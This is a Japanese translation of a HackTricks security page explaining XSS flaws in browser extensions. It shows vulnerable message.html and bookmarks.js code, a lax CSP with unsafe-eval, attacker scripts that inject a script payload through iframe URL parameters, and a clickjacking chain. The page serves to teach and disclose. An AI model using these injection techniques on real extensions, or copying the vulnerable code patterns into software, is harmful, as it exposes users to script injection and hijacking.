7.9 KiB
BrowExt - XSSの例
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
Iframe上のXSS
コンテンツスクリプトは、iFrameのソースのパラメータにURLを指定してIframeを作成します:
chrome.storage.local.get("message", result =>
{
frame.src = chrome.runtime.getURL("message.html") +
"?message=" + encodeURIComponent(result.message) +
"&url=https://example.net/explanation";
});
公開されているHTMLページ:message.html
、ブラウザからアクセス可能で、以下のようなコードが含まれています:
$(() =>
{
let params = new URLSearchParams(location.search);
$(document.body).append(params.get("message") + " <button>Explain</button>");
$("body > button").click(() =>
{
chrome.tabs.create({ url: params.get("url") });
});
});
悪意のあるページは、以下のようなスクリプトを実行して、メッセージをXSS payloadに変更します:
setTimeout(() =>
{
let frame = document.querySelector("iframe:last-child");
let src = frame.src;
// Remove existing query parameters
src = src.replace(/\?.*/, "");
// Add malicious query parameters
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
// Load into frame
frame.src = src;
}, 1000);
甘いContent Security Policyのように
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
実行を許可します。
XSSを意図的にトリガーする別の方法は、以下を実行することです:
let frame = document.createElement("iframe");
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
+ encodeURIComponent("<script>alert('XSS')</script>");
document.body.appendChild(frame);
DOMベースのXSS + クリックジャッキング
最初の脆弱性は、/html/bookmarks.html
にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性です。以下は、含まれている bookmarks.js
の脆弱なJavaScriptです:
$('#btAdd').click(function() {
var btname = $('#txtName').val();
if ($('.custom-button .name').filter(function() {
return $(this).text() === btname;
}).length) return false;
var span = $('<span class="custom-button">');
span.html('<span class="name">' + btname + '</span>');
span.append('<a href="javascript:void(0)" title="remove">x</a>');
span.attr('title', btname);
span.data('id', (new Date().getTime()));
$('div.custom-buttons .existing').append(span);
save_options();
});
上記のJavaScriptは、txtName
テキストボックスの値を取得し、文字列の連結を使用してHTMLを構築し、jQueryの“append()”関数を介してDOMに追加します。
通常、Chrome拡張機能のContent Security Policy(CSP)は、この脆弱性が悪用されるのを防ぐべきです。しかし、‘unsafe-eval’を介したこのポリシーの緩和とjQueryのDOM APIの使用により、これはまだ悪用され得ました。これは、jQueryのDOM APIの多くが“globalEval()”を使用しており、DOMに追加する際に自動的にスクリプトを“eval()”に渡すためです。
これは深刻な脆弱性ですが、それを悪用するために必要なユーザーの操作があるため、単独では悪用がかなり限定されます。被害者はページを開き、フィールドにCross-site Scripting(XSS)ペイロードを貼り付け、「Add」ボタンをクリックして悪用する必要があります。
この脆弱性をより効果的に悪用するために、攻撃を強化するために別の脆弱性(clickjacking)を利用します。
以下はChrome拡張機能のマニフェストからの抜粋です:
...trimmed for brevity...
"web_accessible_resources": [
"_locales/*",
"bundle/*",
"dist/*",
"assets/*",
"font/*",
"html/bookmarks.html",
"css/*.css",
"js/*.js",
"js/jquery/*.js",
"js/lang/*"
],
...trimmed for brevity...
上記のセクションでは、拡張機能がその web_accessible_resources
ポリシーで広範囲にわたることを示しています。
/html/bookmarks.html
ページも フレーム化 され、クリックジャッキング を介して 悪用 される可能性があります。これを悪用して、このページを私たちのウェブページにiframeで埋め込み、フレームをDOM要素でオーバーレイしてレイアウトを再配置します。これにより、被害者は 実際には下にある拡張機能とやり取りしていることに気づかない ようになります。以下のアニメーションはこの効果を示しています(アニメーションはオリジナルの投稿記事で確認してください)。
参考文献
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、または HackTricksをPDFでダウンロードしたい 場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを手に入れましょう。
- The PEASS Familyを発見し、私たちの独占的なNFTsコレクションをチェックしてください。
- 💬 Discordグループや テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。